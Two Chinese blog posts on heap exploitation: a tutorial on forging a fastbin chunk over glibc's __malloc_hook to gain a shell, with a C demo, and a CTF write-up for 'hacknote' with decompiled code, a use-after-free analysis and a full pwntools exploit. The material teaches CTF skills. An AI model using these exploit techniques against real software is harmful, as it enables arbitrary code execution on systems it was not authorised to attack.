eqqie 发布的文章

在Arbitrary Alloc 的学习中,不可避免的一种用法就是通过字节偏移伪造size域绕过malloc的检测从而在__malloc_hook处伪造一个chunk,达到任意写的目的。

参考资料:https://wiki.x10sec.org/pwn/heap/fastbin_attack/

__malloc_hook的作用

__malloc_hook是glibc中的一个函数指针变量,它的原型如下:

/*第一个同malloc的size参数,第二个参数是调用malloc的那个函数的地址*/
void * function(size_t size, void * caller)

可见其实__malloc_hook相当于给malloc函数套了一层外壳,当这个函数指针的值不为NULL时,系统在调用malloc是就会触发这个hook,执行hook所指向的函数。合理构造该函数就可以达到自定义malloc的行为,捕获甚至控制返回值。于是我们想到通过之前的uaf和fastbin相关的知识,把堆块构造到该处便可以修改hook函数为自定义位置的函数,达到getshell的目的。

类似的还有__free_hook, __realloc_hook 等,原理大同小异

分析构造思路

为了试验方便,首先关闭Linux系统的ASLR功能。

以下部分步骤由于系统差异可能稍有不同,所以只讲大概思路

1. objdump查看系统对应版本glibc中__malloc_hook的偏移量

$ objdump libc.so.6 -D -M intel | grep __malloc_hook
...
00000000003c4b10 <__malloc_hook@@GLIBC_2.2.5>:

得到偏移 0x3c4b10,加上当前系统glibc加载时的基址 0x00007ffff7a0d000 推算出程序运行时其在内存中的位置为 0x00007ffff7dd1b10

2. gdb调试寻找合适的字节

利用uaf的方法,构造已经释放的fastchunk的fd域,从而在fastbin中伪造出一个chunk,通过malloc便可以修改该chunk内容。那么关键就在于,需要在__malloc_hook附近找到一个合适的字节,能构造成一个在fastbin范围内(64位:0x20 ~ 0x80)且包含了要控制的部分在内的size域。

随便写一个程序(因为要在动态环境下分析glibc的变量),在gdb中查看刚刚算出来的__malloc_hook附近的字节:

0x7ffff7dd1ae0 <_IO_wide_data_0+288>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1ae8 <_IO_wide_data_0+296>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1af0 <_IO_wide_data_0+304>:	0x60	0x02	0xdd	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1af8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b00 <__memalign_hook>:	0x20	0x2e	0xa9	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1b08 <__realloc_hook>:	0x00	0x2a	0xa9	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1b10 <__malloc_hook>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b18:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b20 <main_arena>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

观察发现,在0x7ffff7dd1af5的位置可以构造出0x000000000000007fL,而由计算fastbin_index的宏:

##define fastbin_index(sz)                                                      \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

可以知道若用这个字节构造chunk,对应的应该是size为0x70的chunk(此处指整个chunk的大小),于是我们uaf应该在0x70的fastbin上进行。

至此可以得出思路:修改已知chunk的fd域到该字节位置 -> 通过malloc或者__malloc_hook处伪造的chunk -> 然后计算好偏移,修改__malloc__hook的值到我们预先安排好的backdoor的地址 -> 运行&getshell

3. 编写一个demo检验一下

#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
/*backdoor function*/
void getshell(void){
    system("/bin/sh");
}

int main(void)
{
    void *chunk1;
    void *chunk_a;
    long long * malloc_hook;

    chunk1=malloc(0x60);
    printf("chunk_1 : %p\n",chunk1);
    free(chunk1);
    puts("Create fastbin.");

    /*修改fd域*/
    *(long long *)chunk1=0x7ffff7dd1af5-0x8;
    malloc(0x60);
    chunk_a=malloc(0x60);
    printf("chunk_a : %p\n",chunk_a);

    /*通过偏移计算出__malloc_hook的位置并修改至getshell函数*/
    malloc_hook=(long long *)((long long)chunk_a+0x13);
    *malloc_hook=0x400646L;
    printf("__malloc_hook_value : %lld\n",*malloc_hook);
    
    /*再次malloc触发钩子*/
    malloc(60);
    return 0;
}

总结

该篇简单介绍了__malloc_hook的利用方式,其中最关键的是偏移的计算,需要一定的耐心和细心。

谢谢阅读,欢迎评论指正!

题目分析

题目:hacknote

$ checksec hacknote
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

IDA分析该程序主要有三个功能:添加节点、删除节点和显示节点

unsigned int print_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);
  if ( index < 0 || index >= count )
  {
    puts("Out of bound!");                      // 判断是否出界
    _exit(0);
  }
  if ( notelist[index] )
    (*(void (__cdecl **)(void *))notelist[index])(notelist[index]);
  return __readgsdword(0x14u) ^ v3;
}

unsigned int del_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);                           // 获取要删除的节点
  if ( index < 0 || index >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[index] )
  {
    free(*((void **)notelist[index] + 1));      // content指针清空
    free(notelist[index]);                      // 节点清空
    puts("Success");                            // 释放content和节点之后并没有把节点列表的指针设置为NULL,存在UAF
  }
  return __readgsdword(0x14u) ^ v3;
}

unsigned int print_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);
  if ( index < 0 || index >= count )
  {
    puts("Out of bound!");                      // 判断是否出界
    _exit(0);
  }
  if ( notelist[index] )
    (*(void (__cdecl **)(void *))notelist[index])(notelist[index]);
  return __readgsdword(0x14u) ^ v3;
}

还有一个预留好的后门函数(真贴心)

int magic()
{
  return system("cat flag");                    // back door func
}

经过审计发现,在删除节点时只是free了两个chunk,但是并没有把节点列表的值设为NULL,这导致我们可以在free后再次使用。

由于节点列表中每个值指向一个size为16的chunk,其中可用区域前4字节作为函数指针,后四字节作为指向content部分的指针,content的大小可以自由控制。于是可以利用fastbin的特性,分两次分别申请16&24 16&16的chunk,再从后往前free掉。这时候如果再重新申请16&16的chunk,之前申请的第三个chunk,也就是记录了函数指针的chunk在此次申请中作为content chunk,可以自由控制。只要往里面写入backdoor函数的地址,再执行print函数(UAF)显示index 1的内容,就可以get flag了。

完整exp

#!/usr/bin/python3
from pwn import *
import re
p=process("hacknote")
elf=ELF("hacknote")
backdoor=elf.symbols[b"magic"]
print("Backdoor addr:",backdoor)

def add(size:int,content):
    p.send(b"1")
    p.sendafter(b"Note size :",str(size).encode())
    p.sendafter(b"Content :",content)
    print(p.recv().decode())
    
def remove(index):
    p.send(b"2")
    p.sendafter(b"Index :",str(index).encode())
    print(p.recv().decode())
    
def show(index):
    p.send(b"3")
    p.sendafter(b"Index :",str(index).encode())
    print(re.findall(r"flag{[a-z0-9A-Z_]+}$",p.recv().decode()))
    
print(p.recv().decode())

add(16,b"a"*16)
add(8,b"b"*8)
remove(1)
remove(0)
add(8,p32(backdoor)+b"\x00"*4)
show(1)
#p.interactive()